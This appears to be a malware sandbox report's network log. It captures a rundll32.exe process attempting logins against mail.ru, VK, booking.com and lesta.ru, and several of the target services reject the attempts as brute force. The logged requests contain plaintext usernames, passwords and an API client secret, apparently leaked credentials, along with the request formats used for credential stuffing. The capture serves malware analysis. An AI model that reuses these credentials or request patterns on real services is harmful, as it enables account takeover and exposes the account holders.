2023-12-10 16:49:42 UTC	247	OUT	Data Raw: 48 6f 73 74 3a 20 61 75 74 68 2e 6d 61 69 6c 2e 72 75 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 70 2c 64 65 66 6c 61 74 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 31 30 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 4f 57 36 34 3b 20 72 76 3a 35 32 2e 30 29 20 47 65 63 6b 6f 2f 32 30 31 30 30 31 30 31 20 46 69 72 65 66 6f 78 2f 35 32 2e 30 0d 0a 41 63 63 65 70 74 3a 20 2a 2f 2a 0d 0a 0d 0a Data Ascii: Host: auth.mail.ruConnection: keep-aliveAccept-Encoding: gzip,deflateContent-Type: application/x-www-form-urlencodedContent-Length: 110User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0Accept: /
2023-12-10 16:49:42 UTC	110	OUT	Data Raw: 70 6f 73 74 3d 26 6c 6f 67 69 6e 5f 66 72 6f 6d 3d 26 6e 65 77 5f 61 75 74 68 5f 66 6f 72 6d 3d 31 26 73 61 76 65 61 75 74 68 3d 31 26 4c 6f 67 69 6e 3d 6c 69 6c 69 74 61 72 61 6b 65 6c 79 61 6e 31 33 26 44 6f 6d 61 69 6e 3d 6d 61 69 6c 2e 72 75 26 50 61 73 73 77 6f 72 64 3d 41 72 61 6b 65 6c 79 61 6e 31 33 30 31 30 38 33 32 31 Data Ascii: post=&login_from=&new_auth_form=1&saveauth=1&Login=lilitarakelyan13&Domain=mail.ru&Password=Arakelyan130108321
2023-12-10 16:49:43 UTC	922	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 39 3a 34 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 50 33 50 3a 20 43 50 3d 22 4e 4f 4e 20 43 55 52 20 4f 55 52 20 49 4e 44 20 55 4e 49 20 49 4e 54 22 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 2e 6d 61 69 6c 2e 72 75 2f 6c 6f 67 69 6e 3f 26 66 61 69 6c 3d 31 26 65 6d 61 69 6c 3d 6c 69 6c 69 74 61 72 61 6b 65 6c 79 61 6e 31 33 25 34 30 6d 61 69 Data Ascii: HTTP/1.1 302 FoundServer: nginxDate: Sun, 10 Dec 2023 16:49:43 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeP3P: CP="NON CUR OUR IND UNI INT"Location: https://account.mail.ru/login?&fail=1&email=lilitarakelyan13%40mai
2023-12-10 16:49:43 UTC	48	IN	Data Raw: 32 35 0d 0a 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 52 65 64 69 72 65 63 74 2e 2e 2e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 25<html><body>Redirect...</body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	49919	162.19.169.11	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:49:49 UTC	67	OUT	GET /ip HTTP/1.1 Host: fingerprints.bablosoft.com Accept: /
2023-12-10 16:49:49 UTC	566	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 39 3a 34 39 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 35 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 45 78 70 72 65 73 73 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4d 65 74 68 6f 64 73 3a 20 47 45 54 2c 20 50 4f 53 54 2c 20 50 55 54 2c 20 44 45 4c 45 54 45 2c 20 50 41 54 43 48 2c 20 4f 50 54 49 4f 4e 53 0d 0a 41 63 63 65 73 73 Data Ascii: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 10 Dec 2023 16:49:49 GMTContent-Length: 15Connection: closeX-Powered-By: ExpressAccess-Control-Allow-Origin: *Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONSAccess
2023-12-10 16:49:49 UTC	15	IN	Data Raw: 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 31 32 Data Ascii: 102.129.152.212

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	49921	87.240.139.193	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:49:50 UTC	592	OUT	GET /oauth/token?2fa_supported=1&client_id=3140623&client_secret=VeWdmVclDCtn6ihuP1nt&device_id=D67113GE-809F-3BFH-75E4-673A-GA9C150C74HI&external_device_id=499EI9FB-HG9D-BEGH-F939-5F2A-H3AA6G1G2BGF&grant_type=password&idfa=4FE19DEA-1BA5-3211-10FA-228F-898CDB0AH869&idfv=BB69EH7G-E6BD-959B-C0IF-844D-17A5F2I15BEE&libverify_support=1&password=monika&sak_version=1.60&scope=all&username=norrgard@gmail.com&v=5.131 HTTP/1.1 Host: api.vk.com Keep-Alive: 300 Connection: keep-alive User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows; U; Windows NT 10.1; WOW64 Trident/5.0) Accept: /
2023-12-10 16:49:51 UTC	652	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 31 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 0d 0a 53 65 72 76 65 72 3a 20 6b 69 74 74 65 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 39 3a 35 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 35 35 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 4b 50 48 50 2f 37 2e 34 2e 31 31 35 32 37 36 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 72 65 6d 69 78 69 72 3d 44 45 4c 45 54 45 44 3b 20 65 78 70 69 72 65 73 3d 54 68 75 2c 20 30 31 20 4a 61 6e 20 31 39 37 30 20 30 30 Data Ascii: HTTP/1.1 401 UnauthorizedServer: kittenxDate: Sun, 10 Dec 2023 16:49:51 GMTContent-Type: application/json; charset=utf-8Content-Length: 255Connection: closeX-Powered-By: KPHP/7.4.115276Set-Cookie: remixir=DELETED; expires=Thu, 01 Jan 1970 00
2023-12-10 16:49:51 UTC	255	IN	Data Raw: 7b 22 65 72 72 6f 72 22 3a 22 39 3b 46 6c 6f 6f 64 20 63 6f 6e 74 72 6f 6c 22 2c 22 65 72 72 6f 72 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 54 6f 6f 20 6d 61 6e 79 20 61 74 74 65 6d 70 74 73 20 77 65 72 65 20 6d 61 64 65 20 74 6f 20 73 69 67 6e 20 69 6e 20 74 6f c2 a0 74 68 69 73 20 61 63 63 6f 75 6e 74 20 77 69 74 68 c2 a0 61 c2 a0 70 61 73 73 77 6f 72 64 2e 20 50 6c 65 61 73 65 20 75 73 65 20 61 c2 a0 64 69 66 66 65 72 65 6e 74 20 73 69 67 6e 2d 69 6e 20 6d 65 74 68 6f 64 20 6f 72 c2 a0 74 72 79 20 61 67 61 69 6e 20 61 66 74 65 72 20 61 c2 a0 66 65 77 20 68 6f 75 72 73 2e 22 2c 22 65 72 72 6f 72 5f 74 79 70 65 22 3a 22 70 61 73 73 77 6f 72 64 5f 62 72 75 74 65 66 6f 72 63 65 5f 61 74 74 65 6d 70 74 22 2c 22 76 69 65 77 22 3a 22 61 6c 65 72 74 22 7d Data Ascii: {"error":"9;Flood control","error_description":"Too many attempts were made to sign in tothis account withapassword. Please use adifferent sign-in method ortry again after afew hours.","error_type":"password_bruteforce_attempt","view":"alert"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	49923	18.244.102.111	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:49:51 UTC	578	OUT	POST /api/identity/authenticate/v1.0/enter/email/submit HTTP/1.1 Host: account.booking.com Keep-Alive: 300 Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36 Content-Type: application/json Content-Length: 75 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 Origin: https://account.booking.com Referer: https://account.booking.com/ X-Booking-Client: ap X-Requested-With: XMLHttpRequest
2023-12-10 16:49:51 UTC	75	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 66 69 65 72 22 3a 7b 22 74 79 70 65 22 3a 22 49 44 45 4e 54 49 46 49 45 52 5f 54 59 50 45 5f 5f 45 4d 41 49 4c 22 2c 22 76 61 6c 75 65 22 3a 22 73 69 6c 61 64 40 63 65 6e 74 72 75 6d 2e 73 6b 22 7d 7d Data Ascii: {"identifier":{"type":"IDENTIFIER_TYPE__EMAIL","value":"silad@centrum.sk"}}
2023-12-10 16:49:52 UTC	2682	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 73 65 72 76 65 72 3a 20 65 6e 76 6f 79 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 39 3a 35 32 20 47 4d 54 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 62 6b 6e 67 5f 73 73 6f 5f 73 65 73 73 69 6f 6e 3d 65 33 30 3b 20 64 6f 6d 61 69 6e 3d 2e 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 3b 20 70 61 74 68 3d 2f 3b 20 65 78 70 69 72 65 73 3d 46 72 69 2c 20 30 38 2d 44 65 63 2d 32 30 32 38 20 31 36 3a 34 Data Ascii: HTTP/1.1 200 OKContent-Type: application/json; charset=UTF-8Transfer-Encoding: chunkedConnection: closeserver: envoydate: Sun, 10 Dec 2023 16:49:52 GMTset-cookie: bkng_sso_session=e30; domain=.booking.com; path=/; expires=Fri, 08-Dec-2028 16:4
2023-12-10 16:49:52 UTC	167	IN	Data Raw: 61 31 0d 0a 7b 22 69 64 65 6e 74 69 66 69 65 72 22 3a 7b 22 74 79 70 65 22 3a 22 49 44 45 4e 54 49 46 49 45 52 5f 54 59 50 45 5f 5f 45 4d 41 49 4c 22 2c 22 76 61 6c 75 65 22 3a 22 73 69 6c 61 64 40 63 65 6e 74 72 75 6d 2e 73 6b 22 7d 2c 22 65 72 72 6f 72 22 3a 5b 7b 22 63 6f 64 65 22 3a 22 45 52 52 4f 52 5f 43 4f 44 45 5f 5f 52 45 51 55 45 53 54 5f 54 48 52 4f 54 54 4c 45 44 22 2c 22 65 72 72 6f 72 44 65 74 61 69 6c 73 22 3a 22 52 65 71 75 65 73 74 20 74 68 72 6f 74 74 6c 65 64 22 7d 5d 7d 0d 0a Data Ascii: a1{"identifier":{"type":"IDENTIFIER_TYPE__EMAIL","value":"silad@centrum.sk"},"error":[{"code":"ERROR_CODE__REQUEST_THROTTLED","errorDetails":"Request throttled"}]}
2023-12-10 16:49:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	49915	95.181.181.87	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:49:51 UTC	430	OUT	GET /id/state.json/ HTTP/1.1 Host: lesta.ru Keep-Alive: 300 Connection: keep-alive User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.158 Safari/537.36 accept: application/json, text/javascript, /; q=0.01 accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7 referer: https://eu.wargaming.net/id/signin/ x-requested-with: XMLHttpRequest Accept-Encoding: gzip, deflate
2023-12-10 16:49:52 UTC	2612	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 39 3a 35 32 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 37 34 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 4c 61 6e 67 75 61 67 65 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Sun, 10 Dec 2023 16:49:52 GMTContent-Type: application/x-javascript; charset=utf-8Content-Length: 1742Connection: closeVary: Accept-EncodingVary: Accept-EncodingX-Frame-Options: DENYVary: Accept-Language
2023-12-10 16:49:52 UTC	1742	IN	Data Raw: 7b 22 47 65 6e 65 72 61 6c 22 3a 20 7b 22 4c 61 6e 67 75 61 67 65 43 6f 64 65 22 3a 20 22 72 75 22 7d 2c 20 22 52 65 71 75 65 73 74 22 3a 20 7b 22 41 63 63 6f 75 6e 74 49 6e 66 6f 22 3a 20 7b 22 4c 6f 67 69 6e 22 3a 20 6e 75 6c 6c 2c 20 22 45 6d 61 69 6c 22 3a 20 6e 75 6c 6c 2c 20 22 49 73 41 75 74 68 65 6e 74 69 63 61 74 65 64 22 3a 20 66 61 6c 73 65 2c 20 22 42 61 6e 22 3a 20 6e 75 6c 6c 2c 20 22 54 65 6c 65 70 6f 72 74 52 65 71 75 69 72 65 64 22 3a 20 66 61 6c 73 65 2c 20 22 52 65 63 6f 76 65 72 79 52 65 71 75 69 72 65 64 22 3a 20 66 61 6c 73 65 7d 2c 20 22 48 61 73 53 74 61 66 66 49 70 22 3a 20 66 61 6c 73 65 2c 20 22 43 53 52 46 5f 54 4f 4b 45 4e 22 3a 20 22 47 78 52 51 4c 57 70 31 52 41 43 59 53 4c 45 6d 67 71 30 38 63 42 72 66 44 78 49 78 68 45 46 Data Ascii: {"General": {"LanguageCode": "ru"}, "Request": {"AccountInfo": {"Login": null, "Email": null, "IsAuthenticated": false, "Ban": null, "TeleportRequired": false, "RecoveryRequired": false}, "HasStaffIp": false, "CSRF_TOKEN": "GxRQLWp1RACYSLEmgq08cBrfDxIxhEF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	49928	165.227.126.8	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:49:52 UTC	65	OUT	GET /?name=Paul HTTP/1.1 Host: api.genderize.io Accept: /
2023-12-10 16:49:53 UTC	499	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 39 3a 35 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 36 35 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 61 63 63 65 73 73 2d 63 6f 6e 74 72 6f 6c 2d 61 6c 6c 6f 77 2d 63 72 65 64 65 6e 74 69 61 6c 73 3a 20 74 72 75 65 0d 0a 61 63 63 65 73 73 2d 63 6f 6e 74 72 6f 6c 2d 61 6c 6c 6f 77 2d 6f 72 69 67 69 6e 3a 20 2a 0d 0a 61 63 63 65 73 73 2d 63 6f 6e 74 72 6f 6c 2d 65 78 70 6f 73 65 Data Ascii: HTTP/1.1 200 OKServer: nginx/1.16.1Date: Sun, 10 Dec 2023 16:49:53 GMTContent-Type: application/json; charset=utf-8Content-Length: 65Connection: closeaccess-control-allow-credentials: trueaccess-control-allow-origin: *access-control-expose
2023-12-10 16:49:53 UTC	65	IN	Data Raw: 7b 22 63 6f 75 6e 74 22 3a 31 32 30 30 34 37 39 2c 22 6e 61 6d 65 22 3a 22 50 61 75 6c 22 2c 22 67 65 6e 64 65 72 22 3a 22 6d 61 6c 65 22 2c 22 70 72 6f 62 61 62 69 6c 69 74 79 22 3a 31 2e 30 7d Data Ascii: {"count":1200479,"name":"Paul","gender":"male","probability":1.0}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	49930	23.194.234.100	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:49:53 UTC	617	OUT	GET /market/search/render/?query=%22katowice%202014%22&start=0&count=1&search_descriptions=1&sort_column=price&sort_dir=asc&appid=730&category_730_ItemSet[]=tag_set_community_2&category_730_ProPlayer[]=any&category_730_StickerCapsule[]=any&category_730_TournamentTeam[]=any&category_730_Weapon[]=tag_weapon_ak47&category_730_Exterior[]=tag_WearCategory2 HTTP/1.1 Host: steamcommunity.com User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate
2023-12-10 16:49:55 UTC	431	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 45 78 70 69 72 65 73 3a 20 4d 6f 6e 2c 20 32 36 20 4a 75 6c 20 31 39 39 37 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 39 3a 35 35 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 36 35 33 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 Data Ascii: HTTP/1.1 200 OKServer: nginxContent-Type: application/json; charset=utf-8X-Frame-Options: DENYExpires: Mon, 26 Jul 1997 05:00:00 GMTCache-Control: no-cacheDate: Sun, 10 Dec 2023 16:49:55 GMTContent-Length: 3653Connection: closeSet-Cookie
2023-12-10 16:49:55 UTC	3653	IN	Data Raw: 7b 22 73 75 63 63 65 73 73 22 3a 74 72 75 65 2c 22 73 74 61 72 74 22 3a 30 2c 22 70 61 67 65 73 69 7a 65 22 3a 31 2c 22 74 6f 74 61 6c 5f 63 6f 75 6e 74 22 3a 32 2c 22 74 69 70 22 3a 22 53 65 74 20 6e 6f 72 65 6e 64 65 72 3d 31 20 69 66 20 79 6f 75 20 64 6f 6e 27 74 20 77 61 6e 74 20 48 54 4d 4c 22 2c 22 72 65 73 75 6c 74 73 5f 68 74 6d 6c 22 3a 22 5c 74 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 6d 61 72 6b 65 74 5f 6c 69 73 74 69 6e 67 5f 74 61 62 6c 65 5f 68 65 61 64 65 72 5c 22 3e 5c 72 5c 6e 5c 74 5c 74 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 6d 61 72 6b 65 74 5f 6c 69 73 74 69 6e 67 5f 70 72 69 63 65 5f 6c 69 73 74 69 6e 67 73 5f 62 6c 6f 63 6b 5c 22 3e 5c 72 5c 6e 5c 74 5c 74 5c 74 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 6d 61 72 6b 65 74 5f 6c 69 73 74 Data Ascii: {"success":true,"start":0,"pagesize":1,"total_count":2,"tip":"Set norender=1 if you don't want HTML","results_html":"\t<div class=\"market_listing_table_header\">\r\n\t\t<div class=\"market_listing_price_listings_block\">\r\n\t\t\t<div class=\"market_list

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	49947	35.169.166.3	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:49:57 UTC	1160	OUT	GET /trk/v1?prof=404&camp=7922&kct=google&kchid=3244738290&criteriaid=kwd-26354352&campaignid=20054591653&locphy=1016280&adgroupid=155357008064&adpos=&cid=656710651105&networkType=search&kdv=c&kext=&kadtype=&kmc=&kpid=&url=https://monitor.ppcprotect.com/v3.0/template?accid=16117&kw=botox&mt=p&nw=g&cpn=20054591653&devi=c&devm=&locp=1016280&loci=1016310&pl=&cr=656710651105&adp=&sadt=&url=https://www.laseraway.com/services/botox/?igaag=155357008064&igaat=&igacm=20054591653&igacr=656710651105&igakw=botox&igamt=p&igant=g&kenibpid=p.404._k_EAIaIQobChMIjq2186iFgwMVhxmiAx3FYAatEAMYASAAEgLNc_D_BwE_k_.&utm_source=kenshoo_google_botox&utm_medium=botox-pure_all-regions_phrase&utm_campaign=All-Regions-Botox_Exact-and-Phrase_CONVS__k_EAIaIQobChMIjq2186iFgwMVhxmiAx3FYAatEAMYASAAEgLNc_D_BwE_k_&st-t=google_&gad_source=1&gclid=EAIaIQobChMIjq2186iFgwMVhxmiAx3FYAatEAMYASAAEgLNc_D_BwE HTTP/1.1 Host: 3310.xg4ken.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54 Accept-Encoding: gzip, deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	49948	217.69.142.141	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:49:58 UTC	633	OUT	GET /cgi-bin/auth?Password=rrdidnnk&Login=oshapov-rostislz1984c@bk.ru&mob_json=1&mobile=1&simple=1&useragent=android&Lang=ru_RU&mp=android&mmp=mail&DeviceID=CBF51E2BE450C8D4DCEA05A9EB2A210B&client=mobile&playservices=3137971&connectid=6018455ACEBD719B10CA8663D7D30B76&os=Android&os_version=6.0.1&ver=ru.mail.mailapp5.3.0.19561&vendor=samsung&model=SM-G925F&device_type=Smartphone&country=RU&language=ru_RU&timezone=GMT%2B03%3A00&device_name=samsung%20SM-G925F&idfa=a3058554-2eeb-497a-986d-8f5d3093c6e1&appsflyerid=1474203483607-2001876048883877051&current=google&first=google&md5_signature=68A2ADE3800A2B122D3CDB390E887DE0 HTTP/1.1
2023-12-10 16:49:58 UTC	181	OUT	Data Raw: 48 6f 73 74 3a 20 61 6a 2d 68 74 74 70 73 2e 6d 61 69 6c 2e 72 75 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 70 2c 64 65 66 6c 61 74 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 6d 6f 62 6d 61 69 6c 20 61 6e 64 72 6f 69 64 20 35 2e 33 2e 30 2e 31 39 35 36 31 20 72 75 2e 6d 61 69 6c 2e 6d 61 69 6c 61 70 70 0d 0a 43 6f 6f 6b 69 65 3a 20 6d 72 63 75 3d 39 39 30 41 36 35 37 35 45 43 33 32 35 35 43 30 34 41 41 44 34 33 41 35 37 34 42 30 0d 0a 0d 0a Data Ascii: Host: aj-https.mail.ruConnection: keep-aliveAccept-Encoding: gzip,deflateUser-Agent: mobmail android 5.3.0.19561 ru.mail.mailappCookie: mrcu=990A6575EC3255C04AAD43A574B0
2023-12-10 16:49:59 UTC	823	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 39 3a 35 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 37 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 50 33 50 3a 20 43 50 3d 22 4e 4f 4e 20 43 55 52 20 4f 55 52 20 49 4e 44 20 55 4e 49 20 49 4e 54 22 0d 0a 58 2d 53 57 41 2d 53 54 41 54 55 53 3a 20 38 30 38 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 75 6b 65 79 3d 36 65 77 63 4a 75 71 7a 51 41 39 53 58 6f 76 4c 49 67 4f 48 32 30 Data Ascii: HTTP/1.1 200 OKServer: nginx/1.16.1Date: Sun, 10 Dec 2023 16:49:58 GMTContent-Type: application/json;charset=UTF-8Content-Length: 176Connection: closeP3P: CP="NON CUR OUR IND UNI INT"X-SWA-STATUS: 808Set-Cookie: ukey=6ewcJuqzQA9SXovLIgOH20
